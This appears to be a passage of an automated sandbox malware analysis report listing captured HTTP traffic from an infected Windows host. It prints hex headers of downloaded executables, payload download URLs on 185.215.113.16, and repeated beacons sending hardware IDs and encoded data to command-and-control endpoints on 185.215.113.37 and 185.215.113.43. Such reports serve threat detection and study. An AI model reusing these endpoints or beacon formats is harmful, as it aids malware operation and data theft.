Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 22 Oct 2024 17:25:27 GMTContent-Type: application/octet-streamContent-Length: 314368Last-Modified: Sun, 29 Sep 2024 08:19:54 GMTConnection: keep-aliveETag: "66f90daa-4cc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 28 aa 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 25 00 e0 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 04 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8f cc 01 00 00 10 00 00 00 ce 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 8c cf 00 00 00 e0 01 00 00 d0 00 00 00 d2 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 a4 03 23 00 00 b0 02 00 00 e4 01 00 00 a2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 9e 45 00 00 00 c0 25 00 00 46 00 00 00 86 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 22 Oct 2024 17:25:30 GMTContent-Type: application/octet-streamContent-Length: 1949184Last-Modified: Tue, 22 Oct 2024 17:10:02 GMTConnection: keep-aliveETag: "6717dc6a-1dbe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 d0 4c 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 4d 00 00 04 00 00 5a 34 1e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 b1 4c 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 b1 4c 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 2b 00 00 b0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 6d 71 79 64 76 77 73 00 b0 1a 00 00 10 32 00 00 a2 1a 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 73 71 6d 71 6d 71 61 79 00 10 00 00 00 c0 4c 00 00 06 00 00 00 96 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4c 00 00 22 00 00 00 9c 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 22 Oct 2024 17:25:39 GMTContent-Type: application/octet-streamContent-Length: 1826304Last-Modified: Tue, 22 Oct 2024 17:09:55 GMTConnection: keep-aliveETag: "6717dc63-1bde00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 69 00 00 04 00 00 f3 92 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 d0 25 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 d1 25 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 b0 25 00 00 10 00 00 00 28 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 c0 25 00 00 00 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 d0 25 00 00 02 00 00 00 38 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 c0 29 00 00 e0 25 00 00 02 00 00 00 3a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 71 75 71 76 61 67 67 00 80 19 00 00 a0 4f 00 00 7c 19 00 00 3c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6b 6b 63 78 6f 72 71 75 00 10 00 00 00 20 69 00 00 04 00 00 00 b8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 69 00 00 22 00 00 00 bc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Tue, 22 Oct 2024 17:25:42 GMTContent-Type: application/octet-streamContent-Length: 2744320Last-Modified: Tue, 22 Oct 2024 17:12:36 GMTConnection: keep-aliveETag: "6717dd04-29e000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2a 00 00 04 00 00 9e 94 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6e 61 6d 78 6f 61 6c 79 00 80 29 00 00 a0 00 00 00 80 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 62 65 6a 6e 61 63 65 00 20 00 00 00 20 2a 00 00 04 00 00 00 ba 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2a 00 00 22 00 00 00 be 29 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDHDBAECGCAFHJJDAKFHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 48 44 42 41 45 43 47 43 41 46 48 4a 4a 44 41 4b 46 2d 2d 0d 0a Data Ascii: ------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------GHDHDBAECGCAFHJJDAKFContent-Disposition: form-data; name="build"doma------GHDHDBAECGCAFHJJDAKF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 37 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000776001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 37 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000777001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KFIDBAFHCAKFBGCBFHIJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="build"doma------KFIDBAFHCAKFBGCBFHIJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 37 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000778001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="build"doma------DAAECAFHDBGIDGCAEHJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 37 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000779001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EB02A73B45E82D12FCA7ABF37AF74FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKKECBGIIJJKECGIJEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 41 45 42 4b 4b 45 43 42 47 49 49 4a 4a 4b 45 43 47 49 4a 45 2d 2d 0d 0a Data Ascii: ------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------AEBKKECBGIIJJKECGIJEContent-Disposition: form-data; name="build"doma------AEBKKECBGIIJJKECGIJE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 30 32 41 37 33 42 34 35 45 38 32 44 31 32 46 43 41 37 41 42 46 33 37 41 46 37 34 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 